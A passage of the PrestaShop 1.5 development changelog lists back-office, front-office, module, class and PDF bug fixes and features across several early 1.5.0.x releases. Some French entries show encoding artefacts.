BO : Admin Module now use curl and post values for addons API + [-] BO : AdminModule replacing cURL by file_get_content with POST stream_context + [-] BO : Bug Fixed #PSTEST-477 - Attribute Generator : Price tax included should be displayed with 2 decimal + [-] BO : BugFix : PSTEST-196 : Adding a supplier with a photo redirects you to the list and not to the edition of this supplier anymore + [-] BO : BugFix : #PSTEST-339 ; remove the ID from the confirm popup message when deleting an item + [-] BO : BugFix : #PSTEST-350 : "tax excluded" moved near the prices in AdminShipping (fees) + [-] BO : BugFix : #PSTEST-355 : replacing "Groups Attributes and Attributes" by "Attributes and Values" + [-] BO : BugFix : #PSTEST-416 : display lastname and firstname on the customer delete confirmation popup + [-] BO : BugFix : #PSTEST-428 : URL Rewriting and JS validation : now able to declare a hyphen + [-] BO : BugFix : #PSTEST-431 : replacing modules names with translated modules names in AdminAccess + [-] BO : BugFix : #PSTEST-436 : adding "required" option for zipcode in AdminStores + [-] BO : BugFix : #PSTEST-470 : calendar is now opening again with datepicker + [-] BO : BugFix #PSTEST-561 customer creation in fancybox is improved : you cannot select the visitor and guest group as the default group and theses groups are unchecked for the group access + [-] BO : BugFix : PSTEST-608 Removing the possibility to edit or remove Root category in AdminTrackingController + [-] BO : delete id_theme in Image Type + [-] BO : Fix accented char + [-] BO : fix action add in AdminBackupController + [-] BO : fix AdminTranslations parsing of helper files + [-] BO : Fix bug in AdminTranslationsController + [-] BO : fix bug in themes for AdminShopController + [-] BO : fix bug on product page when clicking save&stay on prices tab + [-] BO : fix bug #PSFV-298 - Cannot save supplier specific product price if no reference is set + [-] BO : fix change maximum character for short description + [-] BO : fixed bug on Delivery slip generation in AdminDeliverySlip + [-] BO : fixed bug on Invoice generation in AdminInvoices + [-] BO : fixed bug on product addition in order page + [-] BO : fixed bug on product line edition in order page + [-] BO : fixed bug on sorting feature on AdminOrdersController + [-] BO : Fixed bug #PSFV-276. Translates work with module tab + [-] BO : Fixed bug #PSFV-363. The mails are more detailed for the customer + [-] BO : Fixed bug #PSFV-367 for friendly url using a bad product name. + [-] BO : Fixed bug #PSTEST-357. Translation changed + [-] BO : fixed bug #PSTEST-510 - Now, you can't define several times the same order status + [-] BO : fixed bug which appeared in the customer service when some employees were deleted + [-] BO : Fixed default values when add new product (available-date & default id group shop) + [-] BO : Fixed #PSFV-281 : new created tab are now set active by default + [-] BO : Fixed #PSFV-281 : new created tab are now set active by default, thanks to Oleacorner for the help + [-] BO : fixed sav display message in hard coded html span #PSTEST-545 + [-] BO : fixed undefined variable in AdminModulesController + [-] BO : fix JS errors and redirection issues on product page + [-] BO : Fix on api call for paid module + [-] BO : fix product page display when saving pack + [-] BO : fix #PSFV-163 + [-] BO : fix #PSFV-203 + [-] BO : fix #PSFV-260 + [-] BO : fix #PSFV-316 + [-] BO : fix #PSFV-346 + [-] BO : fix #PSFV-347 + [-] BO : fix #PSTEST-134 + [-] BO : fix #PSTEST-134 + [-] BO : fix #PSTEST-239 + [-] BO : fix #PSTEST-281 + [-] BO : fix #PSTEST-321 + [-] BO : fix #PSTEST-322 + [-] BO : fix #PSTEST-323 + [-] BO : fix #PSTEST-352 + [-] BO : fix #PSTEST-385 + [-] BO : fix #PSTEST-385 + [-] BO : fix #PSTEST-388 + [-] BO : fix #PSTEST-388 + [-] BO : fix #PSTEST-392 + [-] BO : fix #PSTEST-393 + [-] BO : fix redirection after product creation + [-] BO : fix regression on product image upload + [-] BO : fix small bug for translations + [-] BO : fix small bug for translations + [-] BO : Global install/uninstall button disapeared with ajax - Bug fix #PSFV-332 + [-] BO : modified the treatment in order to add specials characters like password in Preferences/Emails + [-] BO : Module loading ptimization on Payment Admin Controller + [-] BO : Modules list automatic refresh when BO connect to Addons - Bug fixed #PSTEST-367 + [-] BO : Modules search now works even when filters are enabled + [-] BO : Modules search works with all modules even when a filter is enabled + [-] BO : partial use fixed for cart rules + [-] BO : product page - fix accordions not always being correctly initialized + [-] BO : #PSCFI-4484 - Add historisation of the order status + [-] BO : #PSCFI-4580 - Error in shipping Calculation for different zones + [-] BO : #PSCFI-4664 : Changed back office content-type from text/html to application/xhtml+xml according to the DOCTYPE + [-] BO : #PSFV-197 - Forced "Delivery number" to be an integer + [-] BO : #PSFV-207 : fix translation + [-] BO : #PSFV-221 - Fixed bad ajax return on no manufacturers on the product tab + [-] BO : #PSFV-262 - Fixed bug "Multishipping order notification totals not correct" + [-] BO : #PSFV-343 : Group Name can't be empty. + [-] BO : PSFV-365 - fixed bug + [-] BO : #PSFV-391 - Country restrictions for payment modules is not effective + [-] BO : #PSFV-393 : BugFix jquery.fancybox.js was not found + [-] BO : #PSFV-444 - Change french translation + [-] BO : #PSFV-491 - Fixed problem with multishipping and summary cart + [-] BO : #PSFV-491 - Fixed problem with multishipping and summary cart + [-] BO : #PSTEST-106 : translation + [-] BO : #PSTEST-198 : translation + [-] BO : #PSTEST-215 - Fixed translation problems + [-] BO : #PSTEST-217 - Add a translation + [-] BO : #PSTEST-219 : fix small bugs and translations + [-] BO : #PSTEST-241 : We can delete group shops only if the group doesn't have any shops + [-] BO : #PSTEST-242 : First name & last name order changed in customers edition form + [-] BO : #PSTEST-243 : update date_add for customer connections + [-] BO : #PSTEST-248 - ergonomy in Product (pack) edition + [-] BO : #PSTEST-250 : Fix bug adding manufacturer address + [-] BO : #PSTEST-253 fix bug added groups + [-] BO : #PSTEST-263 - Add attribute multilang to Tax class definition + [-] BO : #PSTEST-273 : fix bug for generate URL + [-] BO : #PSTEST-285 : translations + [-] BO : #PSTEST-290 : Update method ajax process to display the correct product's image + [-] BO : #PSTEST-296 Fixed bug with Pack product autocomplete + [-] BO : #PSTEST-296 : in the autocomplete, we don't have anymore products that we have already chosen + [-] BO : #PSTEST-302 : update call javascript file via setMedia() + [-] BO : #PSTEST-314 : Bug Fixed + [-] BO : PSTEST-315 : add asterisk + [-] BO : #PSTEST-316 : Bug fixed : Warnings are not displayed anymore after a wrong configuration mail + [-] BO : #PSTEST-331 - Fixed problem on creating order from the BO when customer have no addresses + [-] BO : #PSTEST-335 - Fixed problem with test email + [-] BO : #PSTEST-353 - Replace french tranlation of "combinaison" by "déclinaison" + [-] BO : #PSTEST-365 : Description added for the default customer's groups + [-] BO : #PSTEST-369 - Add translation + [-] BO : #PSTEST-369 - Durring the category removing, allow to not delete the products + [-] BO : #PSTEST-375 - Replaced the "addslashes" from the "Attribute generator" + [-] BO : #PSTEST-377 - On order creation, if no birthdate, a "null" is shown + [-] BO : #PSTEST-386 - Fixed problem with filter on the group tab + [-] BO : #PSTEST38 - #PSTEST39 : translation and small change in attachements.tpl + [-] BO : #PSTEST-391 - Fixed bad description of the export + [-] BO : #PSTEST-397 : Groups selection position changed in customers add + [-] BO : #PSTEST-400 - Change the working of the button "Save and stay" for attributes and features + [-] BO : #PSTEST-400 - Fixed bug with attribute value we cannot register + [-] BO : #PSTEST-400 - Fixed problem with adding attribute + [-] BO : #PSTEST-400 - Fixed problem with adding attribute + [-] BO : #PSTEST-401 - Bug Fixed in SVN + [-] BO : #PSTEST-421 - Bug minor Fixed + [-] BO : #PSTEST-423 : bug fixed + [-] BO : #PSTEST-425 - Automatically set delivery + [-] BO : #PSTEST-440 - Fixed problem with search + [-] BO : #PSTEST-474 : bug fixed + [-] BO : #PSTEST-475 : bug fixed + [-] BO : #PSTEST-476 - Fix problem with slashes added before "'" + [-] BO : #PSTEST-497 - Remove alert payement message when the order is canceled + [-] BO : #PSTEST-504 : bug fixed + [-] BO : #PSTEST-516 : bug fixed + [-] BO : #PSTEST-519 - Change french translation + [-] BO : #PSTEST-521 - Translations + [-] BO : #PSTEST-522 : bug fixed, suppression asterisk + [-] BO : #PSTEST-525 - Fix problem with the page product : field must be reset if there is an errors + [-] BO : #PSTEST-540 : bug fixed + [-] BO : #PSTEST-540 : bug fixed + [-] BO : #PSTEST-560 : bug fixed + [-] BO : #PSTEST-563 : if a customer clicks outside of the fancybox, he won't loose all the data that were already in the box. To leave the fancybox, the customer must click on the close button + [-] BO : #PSTEST-572 : bug fixed + [-] BO : #PSTEST-573 + [-] BO : #PSTEST-575 - Replace a || by a && + [-] BO : #PSTEST-579 + [-] BO : #PSTEST-582 - Select default currency on tab tab product > supplier + [-] BO : #PSTEST-583 - Add translation for the button "Edit this mail templates", and fixed tinyMCE area not shown on mail translation page + [-] BO : #PSTEST-586 - Bad table name + [-] BO : #PSTEST-590 - Fix bug with undefined smarty variable "HOOK_EXTRACARRIER_ADDR" + By default use the default country of the shop to calculate shipping cost + [-] BO : #PSTEST-595 - Fix Bug with image uploading + [-] BO : #PSTEST-596 - Fix Bug with image uploading + [-] BO : #PSTEST-597 - Fix Bug with image uploading + [-] BO : #PSTEST-609 + [-] BO : #PSTEST-613 translation done + [-] BO : #PSTEST-614 - Fix bug with not selectable carrier in the BO order creation + [-] BO : #PSTEST-624 - On creating a new carrier, all groups of the group box must be selected + [-] BO : #PSTEST-80 : add hint box + [-] BO : #PSTEST-82 : add hint box in AdminAttributeGenerator + [-] BO : #PSTEST-83 : small changes + [-] BO : Re-add functionality on AdminController + [-] BO : small fix + [-] BO : Template corrected in customers list + [-] BO : translation for product virtual && image link in AdminProductsController + [-] BO : Used urlencode() in order to receive the good format password in Preferences/Emails + [-] BO : User id for Newsletter & Opt-in subscripion corrected + [-] BO : voucher creation in the order detail fixed + + [-] Classes : all classes and controllers now use their name in static calls instead of self (improve override) #PSFV-376 + [-] Classes : BugFix : Added htaccess ErrorDocument 404 in case rewrite mod is not available + [-] Classes : fixed bug #PSFV-300 - Bug on Orders + [-] Classes : fixed bug #PSFV-328 - Round error while editing order in back office + [-] Classes : fixed bug #PSTEST-549 - Clean useless code + [-] Classes : fixed bug #PSTEST-550 - Add current_state attribute on Order class + [-] Classes : fixed noConflict jquery bug //thanks raph + [-] Classes : #PSCFI-4569 : BugFix : Get module instance by name fixed + [-] Classes : #PSCFI-4640 : Country name depending on current language (countries restricted to active deliveries) + [-] Classes : #PSCFI-4688 : Added a base64_encode() for the mail receiver name. Needed for names with accentuated chars + [-] Classes : #PSFV-150 : BugFix : Configuration class check for NULL values + [-] classes : #PSFV-375 - missing id_lang in the parent::__construct call + [-] classes : #PSFV-375 - Reverting + [-] Classes : #PSTEST-214 : BugFix : TopMenu for shops and groups + [-] Classes : Undefined index on cities (addresses) corrected + + [-] Core : Improve cacheFS storage + [-] core : minor fix in Db->escape function to make it compatible to the phpdoc (2nd parameter html_ok is now optional) + + [-] MO : BugFix : PSTEST-185 : categories and customer group permissions fixed + [-] MO : fixed javascript bug on mouse event + [-] MO : Fix url for contact page + [-] MO : MailAlerts module upgraded for PrestaShop 1.5 + [-] MO : #PNM-45 : Changed template text 24/24 with 24/7 + [-] MO : #PSCFI-4440 - Fixed image problem is the blockwishlist and images + [-] MO : #PSCFI-4462 : Fixed problem with static token + [-] MO : #PSCFI-4689 - ERROR Module contacts from New themes prestashop + [-] MO : #PSFV-236 - Fixed little problem with form vars named "ajax" + [-] MO : #PSTEST-280 - Removed old-way method (deprecated) + fixed problem with cartRules + [-] MO : #PSTEST-303 - Fixed problems using deprecated methods + [-] MO : #PSTEST-303 - Send email verification + [-] MO : #PSTEST-606 - Fix Bug with product description line of ajax cart not removed when the product is removed + [-] MO : themeinstallator - numerous bugfix / improvements around the new theme system + + [-] PDF : Bug Fixed #PSFV-330 - Shopname not correct on invoice + + [-] TR : BugFix : #PSTEST-398 : Translations added + [-] TR : BugFix : #PSTEST-459 : spelling correction in translation + + [-] LO : FR + + Deprecated methods: + + [~] Deprecated : OrderHistory::getLastOrderState() + + +#################################### +# v1.5.0.3 - 11871 (2011-12-28) # +#################################### + + Improved/changed features: + + [*] BO : fields name traduction in french in SpecificPriceRule table + + Fixed bugs: + + [-] FO : if th user doesn't have any account and he's still trying to log in, he will be redirected to the create account form + + [-] BO : #PSFV-173 : indexing when adding a product + [-] BO : #PSTEST-150 : fix bug in AdminScenes + [-] BO : #PSTEST-165 : calculate price without or with tax + [-] BO : #PSTEST-166 : Digits precision on product prices changed + [-] BO : #PSTEST-180 : BugFix : Insert new attributes in groups + [-] BO : #PSTEST-181 : change title in AdminAttributesGroupsController + [-] BO : #PSTEST-197 : bug fixed when a supplier picture is about to be deleted + [-] BO : #PSTEST-202 : bug fixed, the translation was missing + [-] BO : #PSTEST-202 : fixed , the problem was from the adminTranslationController, all the fields were not listed in the fields traduction page + [-] BO : #PSTEST-210 : deleted customers + [-] BO : #PSTEST-214 : BugFix : Canceled, problem without multishop + [-] BO : #PSTEST-214 : BugFix : Get content using context shop + [-] BO : #PSTEST-220 : bug fixed, the fields number that has to be traduct is now correct + [-] BO : #PSTEST-225 : bug fixed + [-] BO : #PSTEST-230 : bug fixed + [-] BO : #PSTEST-230 : bug fixed + [-] BO : #PSTEST-230 : missing translation + [-] BO : #PSTEST-232 : Product pictures are now displayed with multishop + [-] BO : #PSTEST-95 : adding token + [-] BO : AdminModule now sort modules by alphabetical order + [-] BO : Attributes can now be deleted in Catalogue : Attributes and Groups + [-] BO : BugFix : Admin suppliers errors message (add) & Admin attributes add / update fix + [-] BO : PSTEST-200 : bug fixed : When an administrator made modifications on a customer about the newsletter option or the Opt-in option, customer's addresses were deleted + [-] BO : Translation updated in products quantities tab + [-] BO : When we are in module configuration, all modules are not loaded + [-] BO : add a validation on name of discount in order page + [-] BO : fixed bug on change currency feature in order page when we have only one currency + [-] BO : fixed bug on product addition + [-] BO : fixed bug on updating of document table when adding a product + [-] BO : retrocompatibility with adminModuleController 1.4 => 1.5. Some modules use $_GET['tab'], + [-] bo : #PSFV-273 : $max_file_size has been re-added + + [-] Classes : #PSCFI-4523 : modified condition in ModuleGrid.php + [-] Classes : fixed little bug on getShipping method on Order class + + +#################################### +# v1.5.0.2 - 11746 (2011-12-23) # +#################################### + + Added Features: + + [+] Project : Add Smarty console options + [+] Project : Add specific prices to a specific customer + [+] Project : Added the ability for groups to show or hide prices for their members + [+] Project : B2B Features + [+] Project : Possibility to enable or disable tabs + + [+] FO : new theme file for front-office layout.tpl, designers have now more possibilities + + [+] BO : Add a note on invoice + [+] BO : You can now have UTF-8 URL Rewriting + [+] BO : on order edition, you can add a discount + [+] BO : on order edition, you can delete a discount + + [+] MO : homeslider is now replacing editorial in default installation + + Improved/changed features: + + [*] PROJECT : Moving partner module to another repository + + [*] BO : Addons modules are now downloaded and installed at the same time (when you click on install button) + [*] BO : Improvement invoices management + [*] BO : Native modules are now downloadable without login on addons + [*] BO : New category management with multi shop + [*] BO : Partial refund now handle quantity + [*] BO : Required fields improved (with a white list) + [*] BO : no payment is registered on order creation for check and bankwire payment + [*] BO : optimization of liveEdit system + [*] BO : you can now affect a zone to multiple countries and to multiple states + [*] BO : you can now generate manually the invoice + + [*] MO : Vatnumber - a warning is now displayed if the field "Your country" is empty (related #PSCFI-4200) + [*] MO : mailjet is now in advertising_marketing category (instead of front_office_features) + + [*] PDF : Display Hook + [*] PDF : Licenses + Hook in templates + [*] PDF : New hook actionPDFInvoiceRender + [*] PDF : PDF could now be returned as a string + [*] PDF : TCPDF Tweak + [*] PDF : You can now enable diskcache + + Fixed bugs: + + [-] PROJECT : Class Hook cleaned + [-] PROJECT : Cleaning Class Module + [-] PROJECT : Fixing register hook retrocompatibility + [-] PROJECT : Merge cache exec in class Hook (to maintain retrocompatibility) + [-] PROJECT : Module controller now handle the column display (time to go to MacDo :) + [-] PROJECT : Modules now handle PrestaShop version compliancy and dependencies check + [-] PROJECT : Moving xml files to xml directory + [-] PROJECT : PDF Order Slip now handle partial refund + [-] PROJECT : Replacing some Context::getContext() by $context in class Hook + [-] PROJECT : You can now execute hook in the tpl + [-] PROJECT : isHookableOn function is now retrocompatible with old hook + [-] Project : fix on template + + [-] Installer : #PSCFI-4383 : BugFix SQL installation script corrected, unique key for specific_price_priority + + [-] FO : #PSCFI-3865 - Block Layered translation issues + [-] FO : #PSCFI-4421 : bug fixed : error in adressess links update and delete + [-] FO : #PSTEST-104 : delete button add in AdminCartsController.php + [-] FO : #PSTEST-54 : price pack + [-] FO : #PSTEST-72 : delete specific price in product tab + [-] FO : #PSTEST-74 : change the condition of product if is a virtual product + [-] FO : #PSTEST-81 : delete tab shipping if is virtual product + [-] FO : #PSTEST-92 : added display of size fields in attachments.tpl + [-] FO : #PSTEST-95 : change default combination in AdminProductsController + [-] FO : Specific price + id_cart + [-] FO : Unable to checkout + [-] FO :#PSTEST-145 : fixed a translation bug + + [-] BO : #PSCFI-4393 : Andre Silva UTF-8 comments + [-] BO : #PSTEST-102: Texte d'une fen?\195?\170tre de message en anglais + [-] BO : #PSTEST-129 : FO - Erreur lors de l'upload de fichiers personnalis?\195?\169s + [-] BO : #PSTEST-14 : translations + [-] BO : #PSTEST-15 : translations + [-] BO : #PSTEST-18 : smalls improvements + [-] BO : #PSTEST-22 : Orthographe ?\195?\160 revoir dans combinaisons de la fiche produit + [-] BO : #PSTEST-24 : BugFix date picker for combinations products (display & date format) + [-] BO : #PSTEST-31 : update in AdminProductsController : available_date + [-] BO : #PSTEST-37 : Documents joints - deux boutons redondants + [-] BO : #PSTEST-52 : update display of pack.tpl + [-] BO : #PSTEST-53 : fixed added quantities maximal for a pack + [-] BO : #PSTEST-56 : fixed incorrect request in shop filters + [-] BO : #PSTEST-70 : Orthographe d?\195?\169fectueuse dans fenetre de confirmation + [-] BO : #PSTEST-8 : Changed prices.tpl digits precision //last commit omit modification + [-] BO : #PSTEST-8 : H.T prices precision changed (2 digits instead of 6) + [-] BO : #PSTEST-8 : Javascript - Rounded prices (2 digits only) + [-] BO : #PSTEST-84 : Bouton g?\195?\169n?\195?\169rer une d?\195?\169clinaison noy?\195?\169 dans la masse + [-] BO : Admin Modules now handle simple http request for download (for server which do not handle ssl connection) + [-] BO : BugFix : Search index re-build + [-] BO : BugFix : Specific prices select menu template edited + [-] BO : Bulk action management repaired + [-] BO : Cannot send test email + [-] BO : Credit slips now appear in document section + [-] BO : Filter modules system repaired and now in ajax + [-] BO : Fix on pagination system + [-] BO : Incorrect CartRule value + [-] BO : Missing display methods in AdminGroup + [-] BO : Now display a question mark when there is no module logo + [-] BO : Reinitialized H.T prices precision (decimals) + [-] BO : Upload zip module is repaired + [-] BO : Warnings are now displayed on Modules Tab + [-] BO : You can now download native modules even when you logged on Addons + [-] BO : fixed bug -> product/combination ergonomics + [-] BO : fixed calculation error on Product addition + [-] BO : fixed js global conflict for categories tree + [-] BO : fixed notice error on message addition + + [-] Classes : #PSCFI-3880 : BugFix mbstring overload on Rijndael encrypt-decrypt + [-] Classes : #PSCFI-4464, #PSCFI-4494 : BugFix : smarty plugin edited, check if function mb_split exists (Ajax, add or delete into/from cart) + [-] Classes : #PSCFI-4477 : BugFix GSiteMap priority - Decimals no longer take care about local numeric separator + [-] Classes : fixed notice error on Cart class + + [-] MO : #PSCFI-4015 - layered navigation module on IE7 creates scripterror / empty query + [-] MO : #PSCFI-4389 : Block Advertising hookHeader added + [-] MO : #PSTEST-41 : update ProcessAttachment method + [-] MO : #PSTEST-44 : Category cannot be parent of herself + [-] MO : CarrierCompare, merge 1.4 => 1.5 + [-] MO : Carriercompare (shipping estimation), merge 1.4 => 1.5 + [-] MO : Mondialrelay, merge 1.4 => 1.5 + [-] MO : Mondialrelay, merge 1.4 => 1.5 + [-] MO : blocksupplier updated hookname + [-] MO : eKomi (1.3) - fix on warnings (PS 1.5) + [-] MO : editorial : bugfix on install/uninstall, norm + [-] MO : homeslider bugfix multishop + add samples + + [-] WS : Fixed norm on WebserviceRequest + + [-] PDF : Can't display invoice due to Collection + [-] PDF : Logo path + + +#################################### +# v1.5.0.1 - 10642 (2011-11-24) # +#################################### + + Added Features: + + [+] Project : Vouchers are now replaced by cart rules + [+] Project : adding Features detachables in order to improve performance + + [+] FO : Messages in order detail are now stored in the Customer Service (SAV) + [+] FO : add files for combination + [+] FO : add module-moduleName-pageName ID on body of module pages + [+] FO : don't send email if there's no file associated to the virtual product + [+] FO : new method Category::getAllChildren() (the return value is an array, but can evolve to a collection + [+] FO : you can access to a product combination with its own url (e.g: http://www.myshop.com/index.php?controller=product&id_product=1#disk-space=16go&color=yellow) + + [+] BO : #PSFV-94 - AddonsAccount and AddonsCatalog + [+] BO : #PSFV-94 - AdminContact is now an AdminController + [+] BO : #PSFV-94 - AdminLocalization is now an AdminController + [+] BO : #PSFV-94 - AdminProduct form features + [+] BO : #PSFV-94 - AdminScenes is now an AdminController + [+] BO : #PSFV-94 - AdminSubdomains is now a Controller + [+] BO : #PSFV-94 - AdminThemes is now an AdminController + [+] BO : #PSFV-94 - AdminWebserviceController + [+] BO : #PSFV-94 - invalid token is now correctly handled. its uses initCursedPage + [+] BO : #PSFV-94 - new controller AdminTags, thanks again to Julien Breux \! + [+] BO : #PSFV-94 : new class AdminNotFoundControllerCore + [+] BO : #PSFV-94 AdminCounty is integrated to AdminTaxRules, thanks to Franck + [+] BO : #PSFV-94 AdminCustomerThreads is now a controller + [+] BO : #PSFV-94 AdminCustomerThreads is now a controller. + [+] BO : #PSFV-94 AdminGenerator is now a controller + [+] BO : Add Accounting Management + [+] BO : Add Multiple Ajax Upload Image on AdminProduct + [+] BO : Add translations for notifications messages + [+] BO : Allows to get more details on the notification (customer name, total paid real, etc...) + [+] BO : Back-office search use now AdminController.php + [+] BO : CB-30 - Customer receive an email when a voucher is created in BO + [+] BO : New AdminController system, including smarty backoffice, thanks to Raphael and Thomas + [+] BO : New module tab interface - #PSFV-94 + [+] BO : Notification autorefresh can be deactivated + [+] BO : add SQL manager + [+] BO : add new feature, Order edition + [+] BO : added action button in autocomplete module list + [+] BO : added new input type tags + [+] BO : added ssl option for imap sync in SAV + [+] BO : adminTab Groups is now a convert to a AdminController + [+] BO : fixed bug on category tree view + [+] BO : if json, ajax-layout.tpl can generate json with conf, _errors, warnings, informations and page var + [+] BO : login and lost password is now in ajax and convert in AdminController + [+] BO : new backoffice style and icons + [+] BO : new javascript function doAdminAjax to simplify uses of ajax request (the prototype of this function can evolve before beta) + [+] BO : new method $link->getAdminLink($controller), to build admin url with token + [+] BO : new method initToolbar() available in AdminController + [+] BO : now AdminProducts and AdminCategories are separated from AdminCatalog + [+] BO : now Back-office has meta-title by controller + [+] BO : now tiny_mce can be loaded 'onclick' instead of 'onload' + [+] BO : now you can choose type of attribute group (select , color, radio) + [+] BO : now you can sync imap mailbox with the Customer Service (SAV) + [+] BO : you can now set detailed permissions for each module in the back end + + [+] Classes : Helper::renderAdminCategorieTree() have new params "$use_search" to add a input search + [+] Classes : Helper::renderAdminCategorieTree() now use addJs to include treeView javascript + [+] Classes : Media::getJqueryPluginPath() - added new parameter $folder + [+] Classes : added new class Media => It contains all the method related to media like CSS, JS + [+] Classes : added new method Media::addJquery(), Media::addJqueryUI(), Media::addJqueryPlugin() + + [+] MO : Added HomeSlider + [+] MO : Adding the favoriteproducts module - Part1 + [+] MO : Adding the favoriteproducts module - Part2 + [+] MO : Update Moneybookers to use the new system to store payment cc details + [+] MO : Update Ogone to use the new system to store payment cc details + [+] MO : Update Paypal to use the new system to store payment cc details + [+] MO : Uptdate module to store payment cc information + [+] MO : multi-shop allow the removal of a shop if it has no order and no customer + + [+] PDF : TCPDF Library + + Improved/changed features: + + [*] PROJECT : New Module API (part 1) + [*] Project : Autoload is now able to load classes from /classes or /override subdirectories + [*] Project : Helper multiple select + [*] Project : OPC and Guest Checkout are now enabled by default + [*] Project : ObjectModel die2PrestashopException + [*] Project : US + CA TaxSystem + [*] Project : Version 2 of Smarty has been removed for using only version 3 + + [*] FO : $currency->prefix and $currency->suffix are now a convenient shortcut for displaying price + [*] FO : Add gender_type "neutral" + [*] FO : Create virtual products with no associated file + [*] FO : Hide the download link and download icon if the virtual product do not have files associated with it + [*] FO : Hide the download link if the virtual product do not have files associated with it + [*] FO : Register process enhancement + [*] FO : Shop cart visible on payment method choice + [*] FO : Update filename if product has combinations (and files associated to them) + [*] FO : Update filename if product has combinations (and files associated to them) + [*] FO : change the download link for files associated to product attributes + [*] FO : change the download link for files associated to product attributes + [*] FO : combination link from product page are now the same as the combination link from blocklayered + [*] FO : display initial price in the cart when a specific price is applied to a product + [*] FO : get the product attribute id for download link + [*] FO : improved tab in product page + [*] FO : when an user is created in one step account creation, he is redirected to the cart if the cart is not empty, or in the my-account page if not. + + [*] BO : #PSFV-94 - // Refactoring AdminAddresses, form.tpl is now extendable + [*] BO : #PSFV-94 - added AdminAttributeGeneratorController + [*] BO : #PSFV-94 - added AdminAttributesGroupController + [*] BO : #PSFV-94 - added AdminBackupController and some changes to AdminController + [*] BO : #PSFV-94 - added AdminCMSContentController, AdminCMSController, AdminCMSCategoriesController + [*] BO : #PSFV-94 - added AdminContactsController, fix flags display for option lists + [*] BO : #PSFV-94 - added AdminCurrencuesController + [*] BO : #PSFV-94 - added AdminDbController + [*] BO : #PSFV-94 - added AdminEmailsController + [*] BO : #PSFV-94 - added AdminGeolocationController, added options.tpl override + [*] BO : #PSFV-94 - added AdminInvoicesController and missing geolocation template + [*] BO : #PSFV-94 - added AdminLogsController and changed initX() functions to return their result + [*] BO : #PSFV-94 - added AdminMetaController + [*] BO : #PSFV-94 - added AdminModulesPositionsController + [*] BO : #PSFV-94 - added AdminPPreferencesController + [*] BO : #PSFV-94 - added AdminPaymentController + [*] BO : #PSFV-94 - added AdminProfilesController + [*] BO : #PSFV-94 - added AdminRangePriceController + [*] BO : #PSFV-94 - added AdminRangeWeightController + [*] BO : #PSFV-94 - added AdminReferrersController + [*] BO : #PSFV-94 - added AdminReturnController + [*] BO : #PSFV-94 - added AdminSearchConfController + [*] BO : #PSFV-94 - added AdminShippingController + [*] BO : #PSFV-94 - added AdminSlipController + [*] BO : #PSFV-94 - added AdminSuppliersController + [*] BO : #PSFV-94 - added AdminTabsController + [*] BO : #PSFV-94 - added AdminTaxesController + HelperList improvements + [*] BO : #PSFV-94 - added AdminTranslationsController + [*] BO : #PSFV-94 - added AdminZonesController + [*] BO : #PSFV-94 - adminProducts > informations, toolbar and css (starting new design integration (thanks to vuThe) + [*] BO : #PSFV-94 - changes to helpers + [*] BO : #PSFV-94 - changes to helpers + [*] BO : #PSFV-94 - forms now correctly use admin.js::displayFlags function. attributeLang attribute is deprecated in forms + [*] BO : #PSFV-94 - improvement on admin css, new icon for toolbar + [*] BO : #PSFV-94 - more AdminImagesController refactoring + [*] BO : #PSFV-94 - new controller for AdminOrders + [*] BO : #PSFV-94 - remove AdminImages.php + [*] BO : Add Style Multiple Upload + [*] BO : Add reduction groups in the categories, and bug fix: reduction that is not an integer or a percentage (TD001 - TD002 - TD003) + [*] BO : Admin Modules now works in Ajax :) + [*] BO : AdminModules improved performance + [*] BO : AdminTaxRulesGroup country select size + [*] BO : Allows to get more details on the notification (customer name, total paid real, etc...) + [*] BO : Carriers are now sortable by position or price + [*] BO : Carriers can now be sorted ascending or descending + [*] BO : Features are now sortable. + [*] BO : Gender - Allow image resizing + [*] BO : Modules can now be authorized or not by client group + [*] BO : New module interface tab now accept logo.png + [*] BO : New module interface tab now all html is in tpl + [*] BO : New module interface tab now connected to PrestaShop Addons + [*] BO : Partial refund - part 3 + [*] BO : Product attributes are now sortable. + [*] BO : Removed size limit for image upload (BL006, CC136) + [*] BO : Rights verification for multi-shop + [*] BO : Rights verification for multi-shop : delete info() + [*] BO : Shows more details for each notification + [*] BO : Shows more details for each notification + [*] BO : Taxes are no longer stored in the order details row + [*] BO : Taxes are now historized + [*] BO : Update Translation Error for Multiple Upload + [*] BO : You have now 3 new default groups. Unidentified group, guest group, and customer group. + [*] BO : add an available date when product is out of stock + [*] BO : added right of multi-shop + [*] BO : carriers are now sortable by position + [*] BO : change a number of character by short description(BL007) + [*] BO : change span.hint + [*] BO : groups attributes are now sortable + [*] BO : helper/options has now a block "after" to append anything you need + [*] BO : moved 2 javascript functions to display success or error on AdminAccess are now available everywhere (thanks to Loic) + [*] BO : now if you click on an AdminProduct sub tab (combinations, prices) already selected, this will reload it. + [*] BO : optimization Upgrader and Admin Home + [*] BO : optimized ConfigurationTest class + [*] BO : product images can now be dragged and dropped to change position (CC021) + [*] BO : refactoring AdminAccess + [*] BO : when a group is created, every category are linked to this group + + [*] Classes : addJqueryUI automaticaly add css + [*] Classes : improve performances of "Feature detachable" feature + + [*] CORE : AddressFormat, Add the possibility to doesn't specify a patternRules (avoid type) and fix empty content + [*] Core : Specific prices can now be applied to combinations + + [*] MO : Review of the productcomments module - Part1 + [*] MO : Review of the productcomments module - Part2 + [*] MO : Review of the productcomments module - Part3 + [*] MO : SendToAFriend - 1.5 Supported / Pop-in instead of form + [*] MO : blockcms - Customizable footer + [*] MO : blocknewsletter : double opt-in + [*] MO : crossseling - Added hookShopingCart (uses all products in the cart) + [*] MO : crossseling - the main title now depends on the number of products in the cart + [*] MO : homeSlider - Added french translation + [*] MO : homeSlider - Added translations/changed size of URL and removed description from the required fields + [*] MO : homeSlider/SendToAFriend - Sandrine CSS + [*] MO : homeSlider: CSS/Button & productComments: CSS + [*] MO : newsletter : filter on active only + [*] MO : productComments - It's now possible to delete comments, beside moderation + [*] MO : sendToAFriend + + [*] PDF : PDF is now rendered by TCPDF throught HTML template + + [*] LO : CA Taxes + [*] LO : FR now has a Corse Zone defined + + Fixed bugs: + + [-] PROJECT : Hooks alias are now used in Hook::getIdByName + [-] Project : Autoload now handle weird syntax (eg. class Product{) + [-] Project : index file is now regenerated when a class is removed from the override directory + + [-] Installer : Fix country_to_timezone in last step + [-] Installer : Removed AdminCounty + [-] Installer : fix demo product insertion + [-] Installer : fix missing default tax_name in demo products creation + [-] Installer : missing field in customer_message table + + [-] FO : "It is not safe to rely on the system's timezone ..." due to cookie use before timezone init + [-] FO : #PSCFI-3680 deleted an extraneous slash for the path of blockstore.css + [-] FO : Applied the context to the cart in the 